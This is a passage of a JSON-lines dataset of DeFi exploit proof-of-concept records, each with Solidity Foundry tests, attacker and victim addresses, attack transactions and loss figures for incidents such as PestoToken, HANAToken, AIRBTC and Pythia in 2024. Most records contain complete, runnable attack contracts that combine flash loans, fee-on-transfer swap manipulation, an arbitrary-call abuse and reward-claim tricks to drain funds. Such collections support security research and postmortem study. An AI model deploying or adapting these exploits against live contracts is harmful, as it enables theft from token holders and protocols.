"total_lost_usd": 1500.0, "attacker_address": "https://etherscan.io/address/0xfe51ffcd2af4748d77130646988f966733583dc1", "attack_contract": "https://etherscan.io/address/0xa826dacf14a462bca2a6e4de4c27f20ed7b43b1d", "vulnerable_contract": "https://etherscan.io/address/0xb3094734fe249a7b0110dc12d66f6c404ada28cb", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x83c71a83656b0fecfa860e76a9becf738930b3f1b2510c7d0339ab585090a82d", "postmortem_url": "https://x.com/TenArmorAlert/status/1831637553415610877", "twitter_url": "https://x.com/TenArmorAlert/status/1831637553415610877", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "$1.5k", "category": "unknown", "exploit_code": "function testPoC() public {\n\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of address(attC)\", IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).balanceOf(address(attC)), 18);\n }\n}\n\n// 0xA826daCf14a462bca2A6e4de4c27F20ED7B43B1D\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "$1.5k", "keyinfo_attacker": "https://etherscan.io/address/0xfe51ffcd2af4748d77130646988f966733583dc1", "keyinfo_attack_contract": "https://etherscan.io/address/0xa826dacf14a462bca2a6e4de4c27f20ed7b43b1d", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xb3094734fe249a7b0110dc12d66f6c404ada28cb", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x83c71a83656b0fecfa860e76a9becf738930b3f1b2510c7d0339ab585090a82d", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1831637553415610877", "analysis_twitter": "https://x.com/TenArmorAlert/status/1831637553415610877", "funds_lost_formatted": "$1.5K", "content_richness_score": 7.11, "quality_estimate": "medium", "title": "unverified_a89f Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 1.4K USD\n// Attacker : 0x7248939f65bdd23aab9eaab1bc4a4f909567486e\n// Attack Contract : https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1\n// Vulnerable Contract : \n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x3d5b4a0d560e8dd750239b578e2b85921b523835b644714dc239a2db70cf067c\n\n// @Info\n// Vulnerable Contract Code : \n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1838225968009527652\n// Twitter Guy : https://x.com/TenArmorAlert/status/1838225968009527652\n// Hacking God : N/A\n\naddress constant UniswapV3Pool = 0x03D93835F5cE4dD7F0EAAb019b33050939c722b1;\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant PestoTheBabyKingPenguin = 0xE81C4A73bfDdb1dDADF7d64734061bE58d4c0b4C;\naddress constant attacker = 0x7248939f65bdd23Aab9eaaB1bc4A4F909567486e;\naddress constant addr1 = 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D1;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20811949 - 1);\n deal(attacker, 4.59e-16 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack{value: 4.59e-16 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D1\ncontract AttackerC {\n receive() external payable {}\n\n function attack() public payable {\n address t0 = IUniswapV3Pool(UniswapV3Pool).token0();\n if (t0 != PestoTheBabyKingPenguin) {\n bytes memory data = abi.encodePacked(\n bytes20(PestoTheBabyKingPenguin),\n uint256(4200000000000000001),\n bytes20(UniswapV3Pool),\n uint8(1),\n uint256(0),\n uint256(18906536720334536200)\n );\n IUniswapV3Pool(UniswapV3Pool).flash(address(this), 0, 18906536720334536200, data);\n\n uint256 bal = IWETH9(weth9).balanceOf(address(this));\n if (bal > 0) {\n IWETH9(weth9).withdraw(bal);\n payable(tx.origin).call{value: 503881906767766532}(\"\");\n }\n }\n }\n\n function uniswapV3FlashCallback(uint256 /*fee0*/, uint256 /*fee1*/, bytes calldata) external {\n uint256 selfPesto = IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).balanceOf(address(this));\n uint256 tokenSupplyAddr = IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).balanceOf(PestoTheBabyKingPenguin);\n\n if (tokenSupplyAddr < 4200000000000000001) {\n if (selfPesto > (4200000000000000001 - tokenSupplyAddr) && selfPesto >= 4200000000000000001) {\n uint256 amtIn = selfPesto + tokenSupplyAddr - 8400000000000000002;\n IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).approve(UniswapV2Router02, amtIn);\n IUniswapV2Router02(UniswapV2Router02)\n .swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amtIn,\n 0,\n _path(PestoTheBabyKingPenguin, weth9),\n address(this),\n block.timestamp + 1\n );\n\n uint256 tokenSupplyAddr2 = IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).balanceOf(PestoTheBabyKingPenguin);\n if (tokenSupplyAddr2 < 4200000000000000001) {\n uint256 diffPlus1 = 4200000000000000002 - tokenSupplyAddr2;\n IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).transfer(PestoTheBabyKingPenguin, diffPlus1);\n\n uint256 remainPesto = IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).balanceOf(address(this));\n IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).approve(UniswapV2Router02, remainPesto);\n IUniswapV2Router02(UniswapV2Router02)\n .swapExactTokensForTokensSupportingFeeOnTransferTokens(\n remainPesto,\n 0,\n _path(PestoTheBabyKingPenguin, weth9),\n address(this),\n block.timestamp + 1\n );\n\n uint256 wethBal = IWETH9(weth9).balanceOf(address(this));\n IWETH9(weth9).approve(UniswapV2Router02, wethBal);\n uint256[] memory spent = IUniswapV2Router02(UniswapV2Router02).swapTokensForExactTokens(\n 19095602087537881562,\n wethBal,\n _path(weth9, PestoTheBabyKingPenguin),\n address(this),\n block.timestamp + 1\n );\n spent; // silence unused variable\n uint256 pestoBalNow = IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).balanceOf(address(this));\n if (pestoBalNow >= 19095602087537881562) {\n IPestoTheBabyKingPenguin(PestoTheBabyKingPenguin).transfer(UniswapV3Pool, 19095602087537881562);\n }\n }\n }\n }\n }\n\n function _path(address a, address b) internal pure returns (address[] memory p) {\n p = new address[](2);\n p[0] = a;\n p[1] = b;\n }\n\n fallback() external payable {}\n}\n\ninterface IUniswapV3Pool {\n\tfunction token0() external view returns (address);\n\tfunction flash(address, uint256, uint256, bytes calldata) external; \n}\ninterface IWETH9 {\n\tfunction balanceOf(address) external view returns (uint256);\n\tfunction withdraw(uint256) external;\n\tfunction approve(address, uint256) external returns (bool); \n}\ninterface IUniswapV2Router02 {\n\tfunction swapTokensForExactTokens(uint256, uint256, address[] calldata, address, uint256) external returns (uint256[] memory);\n\tfunction swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external; \n}\ninterface IPestoTheBabyKingPenguin is IERC20 {\n\tfunction transfer(address, uint256) external returns (bool);\n\tfunction balanceOf(address) external view returns (uint256);\n\tfunction approve(address, uint256) external returns (bool); \n}", "type": "exploit_poc", "protocol": "PestoToken", "date": "2024-09", "file_name": "PestoToken_exp.sol", "attack_vector": null, "content_hash": "51694bac01db08e1", "collected_at": "2026-01-07T10:59:16.534328", "_source": "postmortems", "chain": "ethereum", "block_number": 20811949, "total_lost_raw": "1.4K USD", "total_lost_usd": 1400.0, "attacker_address": null, "attack_contract": "https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x3d5b4a0d560e8dd750239b578e2b85921b523835b644714dc239a2db70cf067c", "postmortem_url": "https://x.com/TenArmorAlert/status/1838225968009527652", "twitter_url": "https://x.com/TenArmorAlert/status/1838225968009527652", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "1.4K USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack{value: 4.59e-16 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D1\ncontract AttackerC {\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "1.4K USD", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x3d5b4a0d560e8dd750239b578e2b85921b523835b644714dc239a2db70cf067c", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1838225968009527652", "analysis_twitter": "https://x.com/TenArmorAlert/status/1838225968009527652", "funds_lost_formatted": "$1.4K", "content_richness_score": 8, "quality_estimate": "high", "title": "PestoToken Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 283 USD\n// Attacker : https://etherscan.io/address/0x7248939f65bdd23aab9eaab1bc4a4f909567486e\n// Attack Contract : https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1\n// Vulnerable Contract : https://etherscan.io/address/0xb3912b20b3abc78c15e85e13ec0bf334fbb924f7\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0xe8cee3450545a865b4a8fffd93938ae93429574dc8e01b02bc6a02f2f4490e4e\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xb3912b20b3abc78c15e85e13ec0bf334fbb924f7\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1838963740731203737\n// Twitter Guy : https://x.com/TenArmorAlert/status/1838963740731203737\n// Hacking God : N/A\n\naddress constant UniswapV3Pool = 0xf3cB07A3e57bf69301c3A51D8aC87427c53Aa357;\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant UniswapV2Router02 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant HANA = 0xB3912b20b3aBc78C15e85E13EC0bF334fbB924f7;\naddress constant addr1 = 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D1;\naddress constant attacker = 0x7248939f65bdd23Aab9eaaB1bc4A4F909567486e;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20827436);\n deal(attacker, 3.9e-16 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack{value: 3.9e-16 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D1\ncontract AttackerC {\n // entry\n function attack() public payable {\n // check token0 == HANA, then flash from UniswapV3Pool\n address t0 = IUniswapV3Pool(UniswapV3Pool).token0();\n if (t0 == HANA) {\n // abi.encodePacked(HANA, 100000000000000001, UniswapV3Pool, 1, 200153617922546735, 0)\n bytes memory data = bytes.concat(\n bytes20(bytes20(HANA)),\n bytes32(uint256(100000000000000001)),\n bytes20(bytes20(UniswapV3Pool)),\n bytes32(uint256(1)),\n bytes32(uint256(200153617922546735)),\n bytes32(uint256(0))\n );\n IUniswapV3Pool(UniswapV3Pool).flash(address(this), 200153617922546735, 0, data);\n }\n // unwrap any WETH to ETH\n uint256 wbal = IWETH9(weth9).balanceOf(address(this));\n if (wbal > 0) {\n IWETH9(weth9).withdraw(wbal);\n if (address(this).balance >= 108334790875911824) {\n payable(tx.origin).transfer(108334790875911824);\n }\n }\n }\n\n // Uniswap V3 flash callback\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata) external {\n fee0; fee1; // silence warnings\n uint256 balThis = IHANA(HANA).balanceOf(address(this));\n uint256 balToken = IHANA(HANA).balanceOf(HANA);\n if (balToken < 100000000000000001) {\n if ((100000000000000001 - balToken) < balThis && balThis >= 100000000000000001) {\n uint256 amountIn = balThis + balToken - 200000000000000002;\n IHANA(HANA).approve(UniswapV2Router02, amountIn);\n IUniswapV2Router02(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n amountIn,\n 0,\n _buildPath(HANA, weth9),\n address(this),\n block.timestamp + 1\n );\n uint256 hanaBalContract = IHANA(HANA).balanceOf(HANA);\n if (hanaBalContract < 100000000000000001) {\n IHANA(HANA).transfer(HANA, 100000000000000002 - hanaBalContract);\n uint256 balAfter = IHANA(HANA).balanceOf(address(this));\n IHANA(HANA).approve(UniswapV2Router02, balAfter);\n IUniswapV2Router02(UniswapV2Router02).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n balAfter,\n 0,\n _buildPath(HANA, weth9),\n address(this),\n block.timestamp + 1\n );\n uint256 wbal2 = IWETH9(weth9).balanceOf(address(this));\n IWETH9(weth9).approve(UniswapV2Router02, wbal2);\n IUniswapV2Router02(UniswapV2Router02).swapTokensForExactTokens(\n 202155154101772203,\n wbal2,\n _buildPath(weth9, HANA),\n address(this),\n block.timestamp + 1\n );\n // repay flash: transfer HANA back to pool\n uint256 hb = IHANA(HANA).balanceOf(address(this));\n if (hb >= 202155154101772203) {\n IHANA(HANA).transfer(UniswapV3Pool, 202155154101772203);\n }\n }\n }\n }\n }\n\n function _buildPath(address a, address b) internal pure returns (address[] memory path) {\n path = new address[](2);\n path[0] = a;\n path[1] = b;\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n\ninterface IUniswapV3Pool {\n\tfunction token0() external view returns (address);\n\tfunction flash(address, uint256, uint256, bytes calldata) external; \n}\ninterface IWETH9 {\n\tfunction balanceOf(address) external view returns (uint256);\n\tfunction approve(address, uint256) external returns (bool);\n\tfunction withdraw(uint256) external; \n}\ninterface IUniswapV2Router02 {\n\tfunction swapTokensForExactTokens(uint256, uint256, address[] calldata, address, uint256) external returns (uint256[] memory);\n\tfunction swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256, uint256, address[] calldata, address, uint256) external; \n}\ninterface IHANA {\n\tfunction balanceOf(address) external view returns (uint256);\n\tfunction approve(address, uint256) external returns (bool);\n\tfunction transfer(address, uint256) external returns (bool); \n}", "type": "exploit_poc", "protocol": "HANAToken", "date": "2024-09", "file_name": "HANAToken_exp.sol", "attack_vector": null, "content_hash": "671ff95c81bcf0c5", "collected_at": "2026-01-07T10:59:16.534400", "_source": "postmortems", "chain": "ethereum", "block_number": 20827436, "total_lost_raw": "283 USD", "total_lost_usd": 283.0, "attacker_address": "https://etherscan.io/address/0x7248939f65bdd23aab9eaab1bc4a4f909567486e", "attack_contract": "https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1", "vulnerable_contract": "https://etherscan.io/address/0xb3912b20b3abc78c15e85e13ec0bf334fbb924f7", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xe8cee3450545a865b4a8fffd93938ae93429574dc8e01b02bc6a02f2f4490e4e", "postmortem_url": "https://x.com/TenArmorAlert/status/1838963740731203737", "twitter_url": "https://x.com/TenArmorAlert/status/1838963740731203737", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "283 USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n attC.attack{value: 3.9e-16 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xBdb0bc0941BA81672593Cd8B3F9281789F2754D1\ncontract AttackerC {\n // entry", "has_exploit_code": true, "keyinfo_total_lost": "283 USD", "keyinfo_attacker": "https://etherscan.io/address/0x7248939f65bdd23aab9eaab1bc4a4f909567486e", "keyinfo_attack_contract": "https://etherscan.io/address/0xbdb0bc0941ba81672593cd8b3f9281789f2754d1", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xb3912b20b3abc78c15e85e13ec0bf334fbb924f7", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0xe8cee3450545a865b4a8fffd93938ae93429574dc8e01b02bc6a02f2f4490e4e", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1838963740731203737", "analysis_twitter": "https://x.com/TenArmorAlert/status/1838963740731203737", "funds_lost_formatted": "$283", "content_richness_score": 9, "quality_estimate": "high", "title": "HANAToken Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : $6.8k\n// Attacker : https://bscscan.com/address/0xcc116696f9852c238a5c8d3d96418ddba02357fc\n// Attack Contract : https://bscscan.com/address/0x62f57a14c2e8f3ac9db05b81c8170d60f91f1b7a, https://bscscan.com/address/0x86e9f4ca67e72312f5ed668d2fbebc5dc65e9e52\n// Vulnerable Contract : https://bscscan.com/address/0x12050e4355a392162698c6cf30eb8c9e0777300d\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x00e4bbc86369d67e21b1910c4f9178c8257ce96192039a7839bd4d3593e1cd27\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x12050e4355a392162698c6cf30eb8c9e0777300d\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1833825098962550802\n// Twitter Guy : https://x.com/TenArmorAlert/status/1833825098962550802\n// Hacking God : N/A\n\n\naddress constant PandaToken = 0x4E93bFCD6378e564C454bF99E130AE10a1C7b2dd;\naddress constant PancakeRouter = 0x10ED43C718714eb63d5aA57B78B54704E256024E;\naddress constant attacker = 0xCC116696F9852C238A5c8D3d96418ddBa02357fc;\naddress constant bsc_usd = 0x55d398326f99059fF775485246999027B3197955;\naddress constant addr = 0x12050E4355a392162698C6cF30eB8c9e0777300d;\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"bsc\", 42157592 - 1);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n constructor() {\n AddrCC a1 = new AddrCC();\n a1.process(PandaToken, bsc_usd);\n } \n}\n\ncontract AddrCC {\n constructor() {}\n\n function process(address tokenIn, address tokenOut) external {\n (bool ok1, bytes memory ret1) = tokenIn.staticcall(abi.encodeWithSelector(IERC20(tokenIn).balanceOf.selector, addr));\n require(ok1 && ret1.length >= 32, \"balanceOf failed\");\n uint256 bal = abi.decode(ret1, (uint256));\n\n bytes memory data = abi.encodeWithSelector(bytes4(0x008ea502), uint256(96), bal, address(this), uint256(3), bytes32(hex\"4149520000000000000000000000000000000000000000\"));\n (bool ok2,) = addr.call(data);\n require(ok2, \"addr call failed\");\n\n (bool ok3, bytes memory ret3) = tokenIn.staticcall(abi.encodeWithSelector(IERC20(tokenIn).balanceOf.selector, address(this)));\n require(ok3 && ret3.length >= 32, \"balanceOf this failed\");\n uint256 amt = abi.decode(ret3, (uint256));\n\n (bool ok4,) = tokenIn.call(abi.encodeWithSelector(IERC20(tokenIn).approve.selector, PancakeRouter, amt));\n require(ok4, \"approve failed\");\n\n address[] memory path = new address[](2);\n path[0] = tokenIn;\n path[1] = tokenOut;\n (bool ok5,) = PancakeRouter.call(\n abi.encodeWithSelector(\n bytes4(keccak256(\"swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256,uint256,address[],address,uint256)\")),\n amt,\n 0,\n path,\n tx.origin,\n block.timestamp\n )\n );\n require(ok5, \"swap failed\");\n }\n}\n\ninterface IPandaToken {\n\tfunction approve(address, uint256) external returns (bool);\n\tfunction balanceOf(address) external returns (uint256); \n}", "type": "exploit_poc", "protocol": "AIRBTC", "date": "2024-09", "file_name": "AIRBTC_exp.sol", "attack_vector": null, "content_hash": "109098d98eb1652c", "collected_at": "2026-01-07T10:59:16.534462", "_source": "postmortems", "chain": "bsc", "block_number": 42157592, "total_lost_raw": "$6.8k", "total_lost_usd": 6800.0, "attacker_address": "https://bscscan.com/address/0xcc116696f9852c238a5c8d3d96418ddba02357fc", "attack_contract": "https://bscscan.com/address/0x62f57a14c2e8f3ac9db05b81c8170d60f91f1b7a,", "vulnerable_contract": "https://bscscan.com/address/0x12050e4355a392162698c6cf30eb8c9e0777300d", "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x00e4bbc86369d67e21b1910c4f9178c8257ce96192039a7839bd4d3593e1cd27", "postmortem_url": "https://x.com/TenArmorAlert/status/1833825098962550802", "twitter_url": "https://x.com/TenArmorAlert/status/1833825098962550802", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "$6.8k", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);\n }\n}\n\ncontract AttackerC {\n constructor() {\n AddrCC a1 = new AddrCC();\n a1.process(PandaToken, bsc_usd);\n } \n}\n\ncontract AddrCC {\n constructor() {}", "has_exploit_code": true, "keyinfo_total_lost": "$6.8k", "keyinfo_attacker": "https://bscscan.com/address/0xcc116696f9852c238a5c8d3d96418ddba02357fc", "keyinfo_attack_contract": "https://bscscan.com/address/0x62f57a14c2e8f3ac9db05b81c8170d60f91f1b7a,", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x12050e4355a392162698c6cf30eb8c9e0777300d", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x00e4bbc86369d67e21b1910c4f9178c8257ce96192039a7839bd4d3593e1cd27", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1833825098962550802", "analysis_twitter": "https://x.com/TenArmorAlert/status/1833825098962550802", "funds_lost_formatted": "$6.8K", "content_richness_score": 7.81, "quality_estimate": "medium", "title": "AIRBTC Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : $12K\n// Attacker : https://etherscan.io/address/0x0000daaee5fbc2d3fc5a5c0cb456d2c24e4f81de\n// Attack Contract : \n// Vulnerable Contract : \n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x3f0dc68dc89fce3250b9d2de2611384b8af258e83f7a711f666917c5590d13d2\n\n// @Info\n// Vulnerable Contract Code :\n\n// @Analysis\n// Post-mortem : https://x.com/TenArmorAlert/status/1834432197375533433\n// Twitter Guy : https://x.com/TenArmorAlert/status/1834432197375533433\n// Hacking God : \n\naddress constant weth9 = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant attacker = 0x0000dAAee5FbC2d3fC5a5C0cB456d2c24e4F81dE;\naddress constant addr1 = 0x56974D5AF75B1eF96722052a57735187E9b91751;\naddress constant addr2 = 0x7c243E010E086cAaD737D47E5a40A59E8B79E92d;\n\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20738427);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(weth9).balanceOf(attacker), 18);\n vm.startPrank(addr2);\n IWETH9(weth9).approve(attacker, type(uint256).max);\n vm.stopPrank();\n vm.startPrank(attacker, attacker);\n IWETH9(weth9).transferFrom(addr2, attacker, 5049899842444876795);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(weth9).balanceOf(attacker), 18);\n }\n}", "type": "exploit_poc", "protocol": "unverified_5697", "date": "2024-09", "file_name": "unverified_5697_exp.sol", "attack_vector": null, "content_hash": "36bf1f24a6a7aebd", "collected_at": "2026-01-07T10:59:16.534510", "_source": "postmortems", "chain": "ethereum", "block_number": 20738427, "total_lost_raw": "$12K", "total_lost_usd": 12000.0, "attacker_address": "https://etherscan.io/address/0x0000daaee5fbc2d3fc5a5c0cb456d2c24e4f81de", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x3f0dc68dc89fce3250b9d2de2611384b8af258e83f7a711f666917c5590d13d2", "postmortem_url": "https://x.com/TenArmorAlert/status/1834432197375533433", "twitter_url": "https://x.com/TenArmorAlert/status/1834432197375533433", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "$12K", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", IERC20(weth9).balanceOf(attacker), 18);\n vm.startPrank(addr2);\n IWETH9(weth9).approve(attacker, type(uint256).max);\n vm.stopPrank();\n vm.startPrank(attacker, attacker);\n IWETH9(weth9).transferFrom(addr2, attacker, 5049899842444876795);\n emit log_named_decimal_uint(\"after attack: balance of attacker\", IERC20(weth9).balanceOf(attacker), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "$12K", "keyinfo_attacker": "https://etherscan.io/address/0x0000daaee5fbc2d3fc5a5c0cb456d2c24e4f81de", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x3f0dc68dc89fce3250b9d2de2611384b8af258e83f7a711f666917c5590d13d2", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1834432197375533433", "analysis_twitter": "https://x.com/TenArmorAlert/status/1834432197375533433", "funds_lost_formatted": "$12.0K", "content_richness_score": 5.75, "quality_estimate": "medium", "title": "unverified_5697 Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 21 ETH\n// Attacker : https://etherscan.io/address/0xd861e6f1760d014d6ee6428cf7f7d732563c74c0\n// Attack Contract : https://etherscan.io/address/0x542533536e314180e1b9f00b2c046f6282eb3647\n// Vulnerable Contract : https://etherscan.io/address/0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461\n// Attack Tx : https://etherscan.io/tx/0x7e19f8edb1f1666322113f15d7674593950ac94bbc25d2aff96adabdcae0a6c3\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/QuillAudits_AI/status/1830976830607892649\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant PYTHIA_STAKING = 0xe2910b29252F97bb6F3Cc5E66BfA0551821C7461;\naddress constant PYTHIA_TOKEN = 0x66149ab384Cc066FB9E6bC140F1378D1015045E9;\naddress constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\naddress constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\ncontract Pythia is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 20667429 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = PYTHIA_STAKING;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n vm.deal(address(this), 1 ether);\n AttackContract attackContract = new AttackContract();\n attackContract.stake{value: 0.5 ether}();\n\n attackContract.claimRewards();\n }\n}\n\ncontract AttackContract {\n address attacker;\n constructor() {\n attacker = msg.sender;\n }\n function stake() payable public {\n uint256 amountOutMin = 10 * 1e18;\n address[] memory path = new address[](2);\n path[0] = WETH_ADDR;\n path[1] = PYTHIA_TOKEN;\n IUniswapV2Router(payable(UNISWAP_V2_ROUTER)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.5 ether}(amountOutMin, path, address(this), block.timestamp);\n IERC20 pythia = IERC20(PYTHIA_TOKEN);\n uint256 bal = pythia.balanceOf(address(this));\n\n pythia.approve(PYTHIA_STAKING, 